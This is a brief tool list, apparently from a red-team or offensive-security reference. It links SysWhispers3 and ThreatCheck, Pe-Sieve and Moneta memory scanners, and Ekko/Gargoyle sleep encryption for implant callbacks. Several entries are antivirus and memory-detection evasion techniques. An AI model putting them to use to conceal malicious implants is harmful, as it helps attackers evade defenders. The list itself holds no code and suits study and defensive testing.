Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall codegen) - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (AV trigger finder) - Pe-Sieve — https://github.com/hasherezade/pe-sieve (process memory scanner) - Moneta — https://github.com/forrest-orr/moneta (live memory IOC scanner) - Ekko / Gargoyle — sleep encryption for use between callback invocations